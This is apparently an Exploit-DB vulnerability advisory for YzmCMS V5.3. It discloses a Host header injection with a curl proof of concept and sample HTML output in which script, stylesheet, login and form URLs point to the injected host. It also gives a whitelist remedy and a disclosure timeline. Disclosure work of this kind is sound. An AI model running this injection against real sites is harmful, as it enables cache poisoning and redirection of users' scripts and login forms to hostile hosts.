# Exploit Title: YzmCMS 5.3 - 'Host' Header Injection
# Exploit Author: Debashis Pal
# Vendor Homepage: http://www.yzmcms.com/
# Source: https://github.com/yzmcms/yzmcms
# Version: YzmCMS V5.3
# CVE : N/A
# Tested on: Windows 7 SP1(64bit),XAMPP: 7.3.9
#About YzmCMS
==============
YzmCMS is a lightweight open source content management system that uses OOP (Object Oriented) to develop its own framework.
#Vulnerability
===============
Host Header Injection.
#PoC
=====
#YzmCMS V5.3 Access Path: TARGET/yzmcms/
curl http://TARGET/yzmcms/ -H "Host: www.google.com"
//sample output start
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>YzmCMS - ???</title>
<link href="http://www.google.com/yzmcms/common/static/css/default_common.css" rel="stylesheet" type="text/css" />
<link href="http://www.google.com/yzmcms/common/static/css/default_index.css" rel="stylesheet" type="text/css" />
<script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/jquery-1.8.2.min.js"></script>
<script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/js.js"></script>
<script type="text/javascript" src="http://www.google.com/yzmcms/common/static/js/koala.min.1.5.js"></script> <!-- ???js -->
<meta name="keywords" content="yzmcms,YzmCMS???,yzmcms??" />
<meta name="description" content="???yzmcms????" />
<meta http-equiv="mobile-agent" content="format=xhtml;url=http://TARGET/yzmcms/index.php?m=mobile">
<script type="text/javascript">if(window.location.toString().indexOf('pref=padindex') != -1){}else{if(/AppleWebKit.*Mobile/i.test(navigator.userAgent) || (/MIDP|SymbianOS|NOKIA|SAMSUNG|LG|NEC|TCL|Alcatel|BIRD|DBTEL|Dopod|PHILIPS|HAIER|LENOVO|MOT-|Nokia|SonyEricsson|SIE-|Amoi|ZTE/.test(navigator.userAgent))){if(window.location.href.indexOf("?mobile")<0){try{if(/Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)){window.location.href="http://TARGET/yzmcms/index.php?m=mobile";}else if(/iPad/i.test(navigator.userAgent)){}else{}}catch(e){}}}}</script>
</head>
<body>
<!--mini???-->
<div id="head_login">
<div class="w1000">
<div id="mini">
<a href="http://www.google.com/yzmcms/member/index/register.html" target="_blank">??</a> <a href="http://www.google.com/yzmcms/member/index/login.html" target="_blank">??</a>
</div>
??????!
</div>
</div>
<!--????-->
<div id="container">
<div id="header">
<div id="logo">
<a href="http://TARGET/yzmcms/"><img src="http://www.google.com/yzmcms/common/static/images/logo.png" title="YzmCMS - ???" alt="YzmCMS - ???"></a>
</div>
<div id="search">
<form method="get" action="http://www.google.com/yzmcms/index.php" target="_blank">
<div id="searchtxt" class="searchtxt">
<div class="searchmenu">
//sample output End
#Solution
==========
Don't trust the host header. Only allow whitelist hostnames.
#Disclosure Timeline
====================
Vulnerability Discover Date: 18-Sep-2019
Vulnerability Notification To vendor via Email: 18-Sep-2019, no responds
Open issue in github : 22-Sep-2019, no responds
Submit exploit-db : 25-Sep-2019
#Disclaimer
==========
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information.
The author prohibits any malicious use of security related information or exploits by the author or elsewhere.
